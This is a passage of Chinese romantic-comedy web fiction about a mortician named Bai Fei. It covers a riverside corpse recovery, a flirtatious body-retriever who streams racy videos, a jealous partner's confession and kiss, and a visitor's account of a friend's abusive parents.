罗雪萍在离开前得意洋洋地暼了白绯一眼,替罗峻辉立下了Flag:“峻辉遇到了贵人,发财指日可待。要不说你们白家晦气呢,你看才和你离婚,财运就上了门,看来之前可不就是你这个扫把星挡了我们罗家的运势呢!现在你后悔也来不及了,眼馋去吧!”
白绯听着她的话,脑海里闪过上次画展上遇到的超绝杀猪盘。她嘴角抽搐地想,你们两姐弟看来注定是要栽在姓陈的手上喽。
“小祝,还愣在那里做什么?快过来!”
吴法医在远处招手示意祝临川过去,白绯赶紧推他。
“你别耽搁了,好好表现哈。”
祝临川被她推着走了两步,却依然扭头看着白绯的眼睛,认真道:“你不是扫把星,遇到你是我这辈子最幸运的事。”
白绯看着他远去的背影,愣了半晌才反应过来。她收回手摸了摸自己滚烫的脸颊,和怀里的宝宝四目相对,嗔道:“怎么突然说这么肉麻的话,真不害臊,你说是不是?”
宝宝张着嘴吐了个泡泡。
白绯笑着摇摇头,抱着宝宝往下游避风处走了走。结果没想到,竟然又遇到一个熟人,正是上次在H县钓上人民碎片的钓鱼佬。
“你怎么在这?”
“你怎么在这?”
二人几乎异口同声。
不过一阵子没见,钓鱼佬比之前又黑了好几个度,在阳光下只能看见他瞪大的眼白和嘴里一口整齐的白牙。
“你怎么换皮肤了,黑人站你边上都没你黑。”
“我还想说呢,原来你和那帅哥英年早婚,这么年轻孩子都有了?”
白绯只好先开口和他简单解释了几句孩子的身世,钓鱼佬听完后无情嘲讽:“果然我上次钓上尸块就是你在的原因,你才是当代柯南,走哪儿哪儿有命案吧?自从和你分开后,我可再没碰上这样的事了。”
白绯:...竟然无法反驳,不过你这么立flag真没事吗?
“对了,你怎么又跑这儿来钓鱼了?”她上前几步看了眼钓鱼佬的水桶,好家伙,竟然没有空军,里面有好几条大鲤鱼呢。
钓鱼佬有些得意,笑道:“我最近混进了几个放生群,她们前脚搁这儿放生,我后脚就跟上甩杆,从此再也不空军。”
白绯竖了个大拇指:“…我算是明白为
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什么邪修人人喊打了。”
“嘿嘿…对了,那边乌泱泱地干什么呢,怎么这么多人?”钓鱼佬冲祝临川他们的方向努努嘴,好奇地问道。
白绯刚想解释,架在岸边的鱼竿却突然一沉。这下钓鱼佬也顾不上听了,一个饿虎扑食就抓住了鱼竿。
“哎哟,又上货了!这个手感,是条大鱼啊!”
钓鱼佬开始收线,漆黑的脸上全是上鱼的欢喜。
然而五分钟后。
“怎么又是尸体啊啊啊啊啊啊啊!”撕心裂肺的惨叫响彻岸边,惊起了好几只水鸟。
没错,沉在河里的第二具遗体,被钓鱼佬钓起来了。
梅开二度,钓鱼佬握着钓竿怀疑人生。
闻讯而来的民警同志倒是大大舒了一口气,无他,实在是刚才用无情钩钩上来的遗体被破坏得太严重了。
相比于那位,这位除了被水泡得肿胀发白外,几乎完好无损,也算是不幸中的大幸了。
祝临川确认白绯无事,就和吴法医一起蹲下来给尸体做检查。三名捞尸人也开着快艇沿着岸边过来,看到躺在岸上的遗体后神情放松下来。
今天的工作可算结束了,不管是哪儿的牛马,下班后才感觉自己活过来。
他们开始拆卸排钩,其中一名身材挺拔的捞尸人脱掉头上的防风面罩和眼镜后却露出了一张让白绯意外的脸。
“方瑜?!你怎么也在这?”
这熟悉的板寸和悍利的身材,可不就是方瑜吗?
“这位小姐,你认识我?”依然是熟悉的吊儿郎当的腔调,然而显然却并不是穿书前的旧人了。
这名同样叫方瑜的年轻人从裤兜里掏出一支烟,也不点燃,就那么含在嘴里。他眯着眼看着抱着孩子的白绯,笑道,“你是我哪位情妹妹,还给我带了这么大个惊喜?”
白绯:“...不好意思,认错人了。”
她心中自嘲,真是疯了,穿书还能穿一群吗?想来也就自己运气这么寸了。不过...
她的目光在不远处认真尸检的祝临川身上顿了顿,心中蓦地涌上一股柔情,想道,也许穿书也不是那么坏的事。
她转身想要离开,哪想方瑜却跟了上来。他个高腿长,几步就赶上了白绯。
白绯脚步不停,方瑜便单手插着兜,边倒退着走,边垂眸看着她,嘴里调侃道:“怎么一个人抱着孩子来江边,家里人呢?啧,孩子爹不负责任啊,就这么让你们娘俩来河边闲晃,还正好撞上死人。这么不合格,下岗得了。”
方瑜的犬齿轻轻咬了咬嘴里的烟屁股,留下一圈牙印。也不知为什么,他看到白绯后总觉得心里痒痒的,哪怕她已经是孩子的妈,也不想就这么放她离开。
“你刚才是把我认成了谁?前男友,还是白月光?既然我们这么有缘...”方瑜长腿一跨,彻底拦住了白绯的去路,嘴角一勾,是一个邪气却又能让人怦然心动的笑容,“要不要考虑考虑我?”
白绯张大了嘴巴,呆呆地仰头看着他。前世处得和兄弟似的人突然和她告白,实在是让她风中凌乱。太违和了!
方瑜却不知她心中所想,看着白绯呆萌的模样心中痒得更厉害了。他不着痕迹地侧了侧脸,刻意展现出自己清晰的下颌线。
很好。他满意地在心中点了点头,粉丝们都说他这个角度最迷人,你看,果然被我迷得话都不会说了吧?
方瑜除了是一名捞尸人外,还是一名博主,号称最帅的捞尸人,坐拥千万粉丝。
他这厢正得意,不想背后却突然飘来一个冷冷的声音,语气中的杀意听起来很想把他也串在船尾的钩子上。
“你在对我的人干什么?”
56. 爷爷的爱人不疼吗
方瑜脸上的笑容一敛,转身回视,与单手握着手术刀的祝临川的目光在空中相撞。
二人都是鹤立鸡群的个子,肩宽腿长,盘靓条顺,但却帅得不太一样。
方瑜帅得很有攻击性,眉峰凌厉、唇角带着毫不掩饰的挑衅与探究,肌肉虬结,像一头蓄势待发的年轻雄狮。
而祝临川的气质则更加内敛,乍看之下似乎温和沉默,然而只肖细看,就能发现那双浅灰色的眸子里酝酿着的令人心悸的压迫感。轻薄的衬衫下,肌肉轮廓若隐若现,线条饱满,仿佛随时都会暴起,撕碎一切胆敢觊觎恶龙宝藏的来犯者。
虽然不情愿,但方瑜也不得不承认,对方看着倒还真不孬。
“哟,原来是你这小子命这么好。”方瑜语气酸溜溜的,阴阳怪气地挖苦道,“怎么,你也没断奶,上个班还要把老婆孩子带上,也不怕吓着人家?”
可恶,羡慕死我了。
闪着寒光的细薄刀刃在指间旋转一圈,划出一道锐利的银弧。祝临川稳稳握住刀柄,冷笑着抬手用刀尖对着方瑜轻轻一点:“管好你自己,少操心别人的家事。”
气氛一时剑拔弩张,而引发这场争端的白绯却抱着孩子在风中凌乱。
这是搞什么,下一秒是要上演小祝飞刀了吗?她是不是该尔康手,然后喊一句“你们不要为我打架了啦”~
她无语地捂住怀里宝宝的眼睛:“宝宝别看,多少恋爱脑小女孩就是年轻时看那些脑残电视剧把自己看傻了,教育要从娃娃抓起。”
祝临川:...
方瑜:...
祝临川乖乖收起手里的手术刀,干咳一声,老老实实汇报道:“尸体和现场都勘测过了,符合意外落水死亡。吴老师说我可以下班了,我们走吧。”
此时两名捞尸人正好拖着无情钩走过,白绯的目光在钩尖的血迹扫过,追问道:“遗体状况还好吗?”
祝临川摇了摇头。
而仿佛回答她的问题般,那头也传来了撕心裂肺的哭声。是落水者的家属来了。
白绯听着那哭声,低低地叹了口气。
“你抱着宝宝,我去去就回。”白绯把孩子塞进了祝临川怀里,向人群走去。
方瑜却上前两步拉住了白绯的胳膊:“别去。”
他抿了抿嘴,像是在斟酌措辞:“无情钩捞起来的遗体都不太好看,你一个女孩子家家的,别被吓坏了。”
白绯还是第一次被当成弱不禁风的小白花,不禁有些啼笑皆非。不过好歹也是出于关心,白绯也心领了。
“比这糟糕的我都见得多了,放心吧。”
白绯笑笑,在方瑜怔愣间自信地向前走去。
祝临川怀里抱着宝宝,目光一直追随着她,只看到她和警察说了几句,之后就蹲下身开始和家属沟通。
悲伤而绝望的家属激动得握住了她的手,连连点头,嘴里说着什么。白绯表情沉重地点点头,一点也没有平时嘻嘻哈哈的模样,是让人十分信任与安心的模样。
家属被搀扶了起来,现场拉开了简易的围布,隔绝了围观的视线。白绯从吴法医的工具箱里挑拣出能用的器材,现场给遗体做起了修复。
吴法医在边上看着,也忍不住赞叹道:“手艺不错啊!这事果然还是得你们专业的来,几乎完全看不出痕迹。”
由于材料有限,白绯只能将就着给遗体做了修复,好在最后效果还不错。完事后,她在河边洗干净手,将现场留给了警察处理,朝着祝临川走来。
方瑜竟然也没有离开,而且不知是否是错觉,她总觉得方瑜盯着自己的眼神更瘆人了。
“我们走吧。”白绯搓了搓胳膊上的鸡皮疙瘩,没有再搭理他,和祝临川一起抱着宝宝离开了。
背后的视线灼热,不只是被盯着的白绯有所察觉,祝临川也将一切尽收眼底。
他藏在襁褓下的手青筋暴起,片刻后又缓缓放松。好东西自然是人人都想要的,不是吗?但是他绝不会放手,无论是谁,都别想抢走他的宝物。
等二人回到公司,周芸正好挂断电话。
“阿姨晚上八点到咱家,有她在,应该能轻松不少。”周芸从祝临川怀里接过宝宝,伸出手指摸了摸孩子柔软的脸颊,“今天玩得还开心吗?”
宝宝咿咿呀呀地说着话,像是在回应,把周芸逗得笑得眼睛都眯了起来。二老白天休息了一天,精神好转了不少,带着宝宝去看了眼小兰后就开车准备回市区。
“你俩累了一天了,晚上好好休息吧。”白书远摇下车窗,嘱咐二人道,“宝宝有我们,就放心吧。对了,你俩也留心留心,看看身边有没有人家想要收养宝宝,但是宁缺毋滥,明白吗?”
送走三人后,白绯舒舒服服睡了个觉。只是不知是不是见到方瑜的缘故,她做梦了,还罕见地梦到了穿书前的事。
其实她在前世过得也不算差,虽说在福利院长大,但是并没有吃太多苦。长大成人后又阴差阳错进了殡葬行业,活虽然辛苦,但少了勾心斗角的糟心事,收入也还不错。要说唯一的缺点…大概就是有些寂寞吧。
都说在婴幼儿时期缺少父母抚慰的孩子在成年后患上皮肤饥渴症的概率高,白绯觉得自己大概就是现成的案例。
虽说是拿及时行乐做挡箭牌,但只有她自己清楚,她沉迷□□欢愉时更多的是在追求什么。
然而就像结束之后的贤者时间,这种饮鸩止渴的方式只让她越来越空虚,内心的空洞叫嚣着想要被填满,却找不到它真正需要的东西。
但是…
白绯站在窗边,明媚的阳光洒在她身上,浑身暖融融的。一楼院子里,祝临川正在晾衣绳上晒玩具。
一只母鸡玩偶,一只布老鼠,还有一个小狗娃娃。
大鹏小黑和三花急得在祝临川脚边直打转,企图把自己的玩偶救出来。祝临川蹲下身挨个摸了摸,又从口袋里掏出小零食喂它们。
有了吃的,三小只也不再闹了,乖乖跟在祝临川身后,打闹着跑进了屋。
白绯看着这温馨的一幕,神情柔和。穿书后,她的身边热闹了很多。有了疼爱自己的父母,还有志同道合的朋友,更重要的是,还遇到了祝临川。
祝临川是特别的。
若说一开始,白绯还只是被他的美色所吸引,但后来,他在她的生活中占的份量越来越重,甚至于让白绯已经习惯了和他在一起。若是贸然分开,也许甚至还会出现戒断般的反应。
猎人与猎物的角色已经颠倒,在不知不觉间,白绯已经被缠绕在祝临川细细编织的网上,挣脱不得。
难怪都说温柔乡,英雄塚啊!
白绯自嘲地笑笑,打开房门下楼。
祝临川第一时间就注意到了她,停下了手里的逗猫棒,询问道:“饿了吗?厨房里有皮蛋瘦肉粥…”
“不想吃这个。”白绯懒懒地靠在沙发上,用手指勾着祝临川的小指,低声撒娇道:“想吃你做的三明治,加金枪鱼和鸡蛋,还有酸黄瓜。”
祝临川弯腰替她理了理额前的乱发,温柔地应了声好。
白绯注视着他转身走上二楼,视线在他的宽肩窄腰和长腿处流连。
真是秀色可餐啊,正好今天没什么事,要不晚上…
正在她脑袋里塞满了黄色废料的时候,坐在前台的陈安夏突然发出诡异的笑声,活生生笑出了她一身鸡皮疙瘩。
“嘿嘿,好好嗑。嘿嘿,嗑死我了。瑜瑜可真男人…哎哟喂,绯绯姐,你走路怎么没声儿啊,吓死我了!”
白绯倚靠在前台桌子上,搭在桌面的手抬起无语地挠了挠下巴,凑过去看:“看什么呢这么投入?”
陈安夏捂着胸口,左右看了看,确认没有其他人后□□着把怀里捂着的手机朝她的方向递了过来:“嘿嘿,绯绯姐,给你看个好东西。”<
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手机屏幕还停留在评论界面,陈安夏的评论正在编辑中。
白绯眯着眼细看,嘴里念道:“好烧好烧,姐不白看,姐给你摇人…安夏…”她一言难尽地扭头看向手忙脚乱把手机拿回去的社恐小姑娘,“想不到你在网上还挺活泼哈~”
陈安夏的脸都红透了。她就像很多小姑娘一样是行动中的矮子,言语上的巨人。现实生活中唯唯诺诺,和异性说个话脸都红成猴屁股,但在网上就化身色狼,老公老婆能有108个。
“绯绯姐,咳,是让你看这个视频啦。”
白绯揶揄地冲她挤挤眼睛,再次接过手机,嘴里道:“我倒要看看是哪个妖精…”
她的话戛然而止。
视频上是一个穿着薄纱的男人,布料轻薄得穿和不穿也没什么差。而更劲爆的是,他的爷爷的爱人上甚至还挂着一条银链,在昏暗的灯光下随着身体的扭动而闪烁着微光。
而这副双开门八块腹肌的劲爆身材上顶着的脸…竟然是方瑜。
若是看一般的肌肉男擦边,白绯可能还会兴致盎然地点评下,但是看熟人擦边,这种感觉实在是让人十分养胃,甚至还有点想笑。
虽然明知这人和上辈子的方瑜不是同一个人,但想到那个顶着一张酷哥厌世脸的人在这儿晃荡着链子媚粉,还是让她有种浑身起鸡皮疙瘩的割裂感。
再说了,那方瑜不是捞尸人吗?原来还兼职擦边博主吗,是不是有点过于全能了…
白绯看着那根在腹肌间拍打的链条,龇牙咧嘴地抽了口冷气。嘶,爷爷的爱人不疼吗?
陈安夏津津有味地又欣赏了一遍,红着脸小声和白绯安利:“绯绯姐,这是最近网络上很火的博主,平时正职是捞尸人,会给我们科普很多行业内的知识,偶尔还会给我们点福利…咳,是不是内外兼修,很有魅力?”
主要还是给的福利比较养眼吧?
白绯在心里默默吐槽了几句,没有扫兴:“…是不错。你喜欢?那就去追呗~”
陈安夏闻言却连连摆手:“这样的帅哥我哪追得上啊,更何况,人家已经心有所属了。哝,你看…”
陈安夏对着屏幕又扒拉了几下,找到了方瑜最新发布的视频。白绯瞅了眼发布时间,竟然是昨天晚上。
视频里,方瑜一副春情荡漾的模样,对着屏幕托腮道:“家人们,从今天开始,我就不能再给你们发福利了哈,老方我要开始守贞了。嘿嘿,就在昨天,我遇到了自己的crush,不夸张啊,就那一眼,老方就知道完蛋了,要栽了。一眼万年啊!光是看到她那张脸,脑子里连我俩生的孩子该起什么名字都想好了。你们知道吗,她一开始抱着孩子,我差点以为自己已经晚了一步,都在纠结要不要做小三了。还好,那孩子只是收养的。这也说明不愧是我看上的女人,人美心更美啊!而且你们造吗?她还是殡葬师,我眼瞅着她把我们刚用无情钩捞起来的尸体三两下就给缝好了,你们说说,这难道还不是天降良缘?”
镜头里,方瑜拿出手机对着屏幕开始偷笑:“给你们看个她的背影吧,我昨天偷偷拍的。”
他翻转手机,把屏幕对着镜头。
镜头外,白绯看着那条熟悉的白底碎花吊带裙,陷入了沉默。
陈安夏犹自不觉,连连点头:“光看背影就是大美女啊,和方瑜确实般配。不过,我看这裙子怎么有点眼熟…”
她拧着眉头开始回忆,却怎么也想不起来。
“算了,想不起来,唉,可惜了,以后是看不到老方给咱们卖肉了。绯绯姐,你看,他身材不错吧?我这还有好几条典藏的,一般人我还不分享给她呢,我这就给你找出…哎哟喂,临川,你脸色怎么难看?!”
陈安夏今天连着被吓了两回,人都哆嗦了。而比她受惊更大的则是白绯。
白绯抽搐着嘴角慢慢回头,和身后端着餐盘一脸哀怨的祝临川看了个眼对眼。
57. 以退为进
怎么回事,这种出轨妻子被丈夫现场抓包的诡异心虚感?
白绯摸了摸鼻子,伸手去接他手里的盘子,嘴里打着哈哈试图转移话题:“哈哈,那啥,你好快啊,哈哈。”
不仅背着人看擦边视频,还说人家快。
祝临川眼神幽怨,白绯有一瞬间错觉,仿佛眼前站着的是一只可怜巴巴的大狗,因为太过委屈所以连耳朵尾巴都耷拉了下来。
“原来你...喜欢这种啊。”谴责的视线越过白绯的肩膀落在后面的手机上。
此刻屏幕上正好播到方瑜的胸肌特写,湿润的水珠从壁垒分明的胸肌蜿蜒滑落,一路滚过轮廓清晰的腹肌,最终沿着人鱼线没入低低卡在胯部的运动裤边缘,令人浮想联翩。
“哎呀,这多不好意思啊...那个,我去帮小施哥折纸钱去。”陈安夏小脸通黄,手忙脚乱地摁灭屏幕,果断匿了。
祝临川的视线收回,他垂眸看着自己手中的碟子,下颌线绷得很紧:“厨房里还榨着橙汁,你先吃吧。”
他的声音微微带着颤,像是在压抑某种情绪。浓密的睫毛低垂着,在眼睑下面投下一小片脆弱的阴影。而在他离开的刹那,眼角那抹绯红就这么猝不及防地撞入了白绯的眼里。
看起来简直快哭了。
“等等...”白绯伸出尔康手试图挽回,然而祝临川却没有给她这个机会,毅然决然地走上二楼,只留下一个破碎的背影。
白绯低头看着碟子里祝临川亲手制作的精美餐点,只觉得自己仿佛是个吃着碗里看着锅里的渣男,喃喃道:“我可真该死啊...”
她赶紧抬脚追去了二楼。
厨房里传来破壁机工作的声音,白绯打开玻璃移门,就看到祝临川正双手撑在料理台面上背对着她站着,肩胛弓起一个脆弱的弧度,甚至还在微微颤抖。
白绯心里酸酸胀胀的,踌躇着往前迈了一步,双手环住了眼前劲瘦的腰身。
祝临川的身体不易察觉地一抖,似乎想要回过身,却最终克制住了自己。
“橙汁还要再等一会...”他的声音干涩沙哑,暴露了心中真正的情绪,但却又克制着不想被发觉般,伸手想要轻轻掰开白绯的手指,“你去外边坐着等会儿,等好了我...”
祝临川的话没能说下去,因为白绯又抱了上去。她柔软的脸颊贴在祝临川宽阔的后背上,隔着居家服听他那突然就乱了的心跳。
“临川。”白绯的声音又轻又软,像在哄闹别扭的小朋友,“方瑜那视频是是安夏给我看的,你知道的啊,我平时从来不看这种乱七八糟的东西...”
对不起了安夏,这时候只能死道友不死贫道了。
“我没事也就看看赶海啊,修驴蹄这些正经视频,从来不看那些骚男的,那种低俗的手段,怎么可能留住我这样雄鹰般的女人的心。你不信的话可以看我手机。”
她把手机硬塞进祝临川手里,努力凹出一副无辜的模样,眨巴着眼睛看着虽然转过身,却始终固执地偏着头的男人。
早在她刚才上楼的时候,白绯就已经将平时的浏览记录和收藏夹都清了个空。此时从表面看来,只怕八十岁老太太的手机都不见得有她这么清心寡欲。不过也不对,毕竟老辈子们玩得可比现在的年轻人花多了。
祝临川却并没有查看手机的意思,只将它又塞回了白绯怀里。
“不用顾忌我,你爱看什么喜欢什么样的男人,我又有什么资格管呢?”他的眼角绯红,终于克制不住般泄露了那丝哀怨,“那种能说会道又会来事的人就是很讨人喜欢啊,才一天,你就连他的名字都记住了。哪像我,嘴又笨,也没什么本事,只会做做饭,捣捣奶茶,傻呵呵地幻想着如果抓住你的胃,就能让你的目光能在我身上多停留一会儿...”
他猛地顿住,身体控制不住地微微颤抖,像是在承受着不可言语的痛苦。
白绯眼看着他深吸一口气,脸上勉强挤出比哭还难看的笑容:“对不起,绯绯,你不要怪我,原是我太贪心,之前明明告诉自己,只要你幸福快乐,我做什么都愿意,即使只能陪伴在你身边,我也无怨无悔,结果如今不知不觉却又...”
祝临川住了嘴,像是下了某种决心,终于不再逃避白绯的注视,通红的眼睛带着卑微和祈求:“就算你和别人在一起了,可不可以也不要抛下我,只要能让我呆在你身边就够了,我一定会安分守己,只在你身边默默守护着你。”
靠,这是什么痴情小白花啊!
白绯这人,素来是吃软不吃硬。不同于强硬派作风的叙白和方瑜,祝临川在她面前从来都是温柔小意的,但这每一步却又恰恰踩在了痒处,将白绯拿捏得可谓死死的。
一股说不清的冲动控制了她的全部心神,让她踮起脚尖,将温软的唇印在了眼前人凸起的喉结之上。
“只有你,从来都只有你。”白绯的脸上蔓上羞涩的粉,青葱般的指尖绞着祝临川衣服的下摆,将它们揉得皱巴巴的。
她能感觉到祝临川这次一直垂眸注视着她,但她却不敢再抬头,只将视线固定在地面。
救命,好尴尬啊,脚趾都快抠出三室一厅了啊!
白绯把脑袋埋进祝临川的胸口,索性闭上眼睛破罐破摔。
“谁都没有你好看,我喜欢的从来都只有你,所以,别再说这些话了好吗?”
说得那么可怜,让她心里都跟着酸软,好像自己是什么负心汉一般。
白绯不给祝临川反应的机会,撩完人就想溜之大吉:“我去餐厅吃饭了,不要再胡思乱想了啊。”
然而下一秒,天旋地转,白绯被狠狠地按在了冰箱门上。然而她并不觉得疼痛,因为有一双温热的大掌护住了她的后脑和腰背。
那炙热隔着衣服传来,与冰箱隐隐散发的冷气混在一起,让白绯只觉得冰火二重天。
后脑的发丝传来轻柔的压迫感,白绯一脸懵逼地被迫仰起了头,红唇微张,俨然一副邀请的模样。
濡湿的水声在小小的厨房里响起,若是此刻有人进来,只能看到高大的男人站在冰箱门口,却
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看不到白绯丝毫的痕迹。
她的身体已经被严丝合缝地嵌进了祝临川的怀里。
在亲密关系中,白绯一直是那个强势的人,这是她第一次在祝临川身上感受到这种危险的侵略性。
若是平时,她可能就会察觉到其中的违和了。一个从小独立自主,性格坚强的男人,怎么会在感情中如此卑微且不争不抢呢?
但可惜,此刻的白绯已经被吻到大脑缺氧,当真是不知天地是何物了。
“等等...”白绯的眼里都是窒息的水光,连嘴唇上都火辣辣的。
然而祝临川却不愿意放过她,低下头来不断啄吻着她的侧脸。“我好高兴,绯绯,我真的好高兴。”
白绯艰难地侧头避开,余光扫到背后的破壁机,终于灵光一闪,撒娇道:“我饿了,我还没吃饭呢...”
祝临川显然还是关心她的,终于停下了动作。他深深地看了白绯一眼,最后吻了吻她的额头,深吸一口气道:“好。”
离开的时候,白绯才后知后觉地感受到抵在自己腹部的坚硬。
后来,白绯在祝临川火热的注视下几乎是味同嚼蜡。她总觉得祝临川要把她也吃了。
好在很快就有访客到来,打断了现场暧昧的气氛。
“绯绯姐,有位周先生找你!”
楼下传来小施的呼喊。白绯如释重负,嘴里应着“来了”,三两下把杯子里的橙汁喝完,就准备离开。
然而祝临川却拉住了她的手,指尖暧昧地在她腕上摩挲:“一会儿我们再好好谈谈。”
用什么谈?
白绯克制不住脑内黄色了一下,低低地嗯了一声,落荒而逃。
等到一楼,白绯看到面前那熟悉的金刚芭比,才惊讶地发现,来人竟然是周馆长。
“周馆长!你出院了?”
“是啊!”周馆长带来了大包小包,在客厅堆了满满一地,手里甚至还拎着一面巨大的锦旗。
“特地过来感谢白小姐,若不是你心细发现,只怕我现在已经在地下了。”周馆长呼啦一甩手中的锦旗,只见上面赫然写着几个大字。
致白小姐:心细如发,美丽菩萨。
白绯:...
周馆长把手里的锦旗递给边上努力憋笑的小施,又开始捣鼓地上的礼品。
“我妈妈听说我差点就死了,差点就撅过去,现在还在床上躺着没缓过来。听说我要到白小姐这儿来,让我爹从老家特意提了五只土鸡还有十斤土鸡蛋来,请您无论如何都要收下这点心意。这些鸡都是农家自己养的,味道很好,没有激素什么的,是优质蛋白,对长肌肉可好了。我已经放在院子外面了,怕它们到处拉屎把屋子搞脏了。”
果然,他话音才刚落,院子外面就传来此起彼伏的鸡叫声,还混杂着兴奋的狗叫和猫叫。
白绯顺着门往外看去,果然看见小黑正驮着大鹏和三花在外面勇战群鸡,现场鸡毛乱飞。
大鹏一点也没有见自家亲戚的喜悦,满眼只有看热闹的快乐。
58. 可恨之人也有可怜之处
“我去吧。”
祝临川拍了拍白绯的肩膀,和小施一起走进院子处理满院子的真鸡飞狗跳。
只见他手起手落,三两下就把地上那几只鸡掐成了尖叫鸡。
小施搂着满院子乱跑还在添乱的三小只,嘴里喊着:“祖宗们,别闹了,有客人在呢!”
周馆长原本撸起袖子想去帮忙,结果没想到祝临川一个人就Slay全场,竟没有他用武之地。
小施跟着祝临川一起往后院走去。
周馆长满眼欣赏地看着祝临川两手抓着鸡的潇洒背影,赞叹道:“这位小兄弟身手不错啊,就是瘦了点,不知道有没有兴趣和我一起锻炼肌肉。”
白绯没忍住顺着他的话想了想,一想到祝临川变成周馆长这样的倒三角健硕牛蛙就觉得星欲全无。
“哈哈,临川只是看着瘦,该有的胸肌腹肌人鱼线都有,是穿衣显瘦脱衣有肉的类型啦~”
周馆长丝毫没有察觉其中的猫腻,为何身为外人的白绯会对祝临川的身材如此了解。
他不以为然地展了个背,又弓起手臂展示自己快有白绯大腿粗的上臂围:“那点肌肉哪够啊,你说的这种薄肌身材也就能吸引吸引你们女孩子,在我们男人看来,还是瘦猴!”
果然,适当锻炼吸引异性,过度锻炼吸引同性,不过想来,祝临川应当也并不想吸引同性…
白绯果断替他婉拒,打着哈哈转移了话题。
“周馆长坐会儿吧。要喝点什么吗?茶,水,还是饮料?”
周馆长遗憾地看着祝临川彻底消失的背影砸了咂嘴,回答高度自律:“白水吧,谢谢。”
他接过白绯递来的水杯喝了一口,饶有兴致地打量大厅里陈列的骨灰盒和寿衣,叹道:“我这还是第一次进殡葬公司呢。现在想想还真是后怕,差点就得横着进来了!”
有句话叫“未知苦处,不信神佛”,白绯觉得也同样适用于周馆长。不曾进过殡仪馆,这说明他还未曾失去体验至亲的痛楚,这真可谓是人生最大的幸事了。
此次他能安然无恙,白绯也替他高兴,只觉得自己的功德也跟着加一,随口附和道:“我也很高兴,能和你这样面对面坐着喝茶聊天。”
而不是再见面时一个躺在棺材里,一个拿着化妆刷。
二人都诡异地沉默了一瞬。
周馆长又喝了口水,聊起了他们之间共同的熟人:“没想到叙白这小子竟然和白小姐住对门,可真是好福气。他这人,看着和谁都能相处,但事实上和谁都不交心。从不参加聚会和活动,每天憋在家里也不知道在忙些什么。学校里明明有那么多女孩子追着他跑,也没见他被谁拿下,我还以为好好一个帅哥要注孤生了呢。”
他戏谑地对着白绯眨了眨眼睛:“搞半天原来是眼光挑剔,寻常人入不了他眼啊。”
这下马屁可是拍在了马腿上。白绯真的很想问问,叙白到底是看上自己哪点了,她改还不行吗?
别人求爱都是送花送包包,文艺点的也是手搓点有意义的小礼物,哪像叙白,直接把人血赤呼啦地画画上。
别人约会都是看看电影逛逛游乐园,再不然也就是看个鬼片闯个鬼屋增进下感情,哪像叙白,刚认识就约人去看人体标本,还在大庭广众下暴露自己了不得的星癖。
得亏白绯平时也算见多识广,不然只怕当场就能给吓应激。
然而周馆长显然并不知情,还在侃侃而谈。
“上次画展上我看见他那样子,就知道这小子一定是栽了。那眼神,啧啧,就没从白小姐身上移开过…”
“周馆长,我和叙医生只是普通朋友。”白绯果断选择打断了他,同时还心虚地往门外看了看,发现没有祝临川的身影后松了口气。
幸好没让这醋坛子听见。没看刚才还说要好好谈谈,要是让他听见这些话,那估计谈谈都不够了,得被做死在床上。
“唉?原来还是单相思啊…”周馆长尴尬地挠了挠脑袋,有些不好意思地笑了笑,“白小姐,别叫我周馆长了,叫我周端就行。”
“那你也直接叫我的名字吧,我叫白绯。”白绯福至心灵,突然发现这不就是打探叙白情况的好机会嘛!
自从上次摄像头被叙白发现后,白绯就让陆寻先撤了。明面上能调查到的信息基本都查得差不多了,其他的只怕不深入也查不到,没必要再让陆寻冒险了。
“周端,你和叙白关系不错?”
白绯还在琢磨该怎么套话,没想到周端小嘴就叭叭一顿输出,直接把叙白的身世抖了个底掉。当然也看得出来,他应该只是想替叙白说好话,在白绯面前给他挣点印象分。
“是啊,叙白这小子,其实是个心软的人。当初我和父母闹僵,一个人在国外生活,有次锻炼过头,横纹肌溶解,差点嗝屁。”
白绯:…原来那时候就已经是肌肉控制大脑了吗?
周端回忆起当时的场景,几乎猛男落泪:“要不是叙白来宿舍发现了晕倒的我,我就凉透了。后来在医院还衣不解带地照顾我,要不是他是个男人,我都想放弃不婚主义,和他结婚了。在这之前我们不过是点头之交,我是真的没想到他能为我做到这一步。”
周端擦了擦眼角的泪,继续道:“说来你俩都对我有救命之恩,这何尝不是一种缘分呢?其实我一直盼着能有一个像白小姐这样人美心善的人能走进叙白的生活。其实啊,他挺可怜的,和父母关系...挺复杂的。和你实话实说,我在叙白身上看到过不少旧伤。”
这倒是出乎白绯的意料。当时据陆寻的调查,叙白应当是尽全家之力托举的大宝贝才对啊。
“有伤?!”
周端脸色也不太好看,端着水杯蜷缩在沙发上的样子像一朵超大号的蘑菇:“我曾在无意间看到他的后背上全是鞭打的伤痕,这位置,也不是自己能伤得着的啊!而且我还撞到过几次叙白和他父母通话,怎么说呢,唉,不知道的还以为是仇人呢。叙白的成绩一直是年级第一,但他父母却总有挑剔不满的地方。而且言辞之激烈,甚至都不能说那是正常批评,根本就是辱骂。而且啊,我真的怀疑他父母是不是控制狂,不管叙白做什么都必须和他们提前报备,晚上八点就得回家,晚一分钟都不行。穿什么衣服理什么发型甚至吃什么饭,都要得到他们的允许。据说就连当初选择心理学这个专业,也是叙白的父母决定的。”
周端看着白绯不可置信的表情,苦笑道:“是不是难
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以置信,如此高知的父母做出来的事情竟然像对疯子。说来惭愧,因为有了叙白的对比,我和父母的关系都更好了。”
白绯被这惊天大瓜砸得心情复杂。
总有这样的父母,从来意识不到孩子是独立的个体,而是把他们当成所有物,抹杀掉孩子的天性,强迫他们按照自己的想法生活。他们利用孩子对父母天然的孺慕之情作绑架,把一个个活生生的人变成了攀比的工具。
白绯有些唏嘘。她回忆起了叙白那一屋子的皮鞭,以及他独特的癖好。很多人都害怕长大后变成自己父母的样子。但显然,叙白也没能逃脱这个轮回。
白绯一直以为叙白是无忧无虑长大的天龙人,顶多也只能无病呻吟“我不要很多很多钱,我要很多很多爱”,结果没想到竟然还真是个苦瓜蛋子。
摊上那样的父母,也许甚至还不如干脆像她一般,直接做个孤儿呢。
周端叹息道:“后来毕业了,我一直在国外没回来,问他过得好不好,他也只说好。但是这次回国办画展,我明显感觉他身上多了不少人味儿,这真的多亏了白小姐。我也是真的希望你俩之间能修出正果。”
白绯:…你再看看叙白画的那副画再说他有没有人味呢?
但显然周端也知道感情这种事,不能强人所难。不管叙白再可怜,这都不是别人选择和他在一起的理由。感情不是施舍,更不是道德绑架。
“不过我也知道这种事勉强不来,只能看缘分啦。”周端喝干杯子里的水,站了起来:“那我就不打扰了。我还和福利院有约,差不多该走了。”
白绯好奇地追问道:“你去福利院是…”
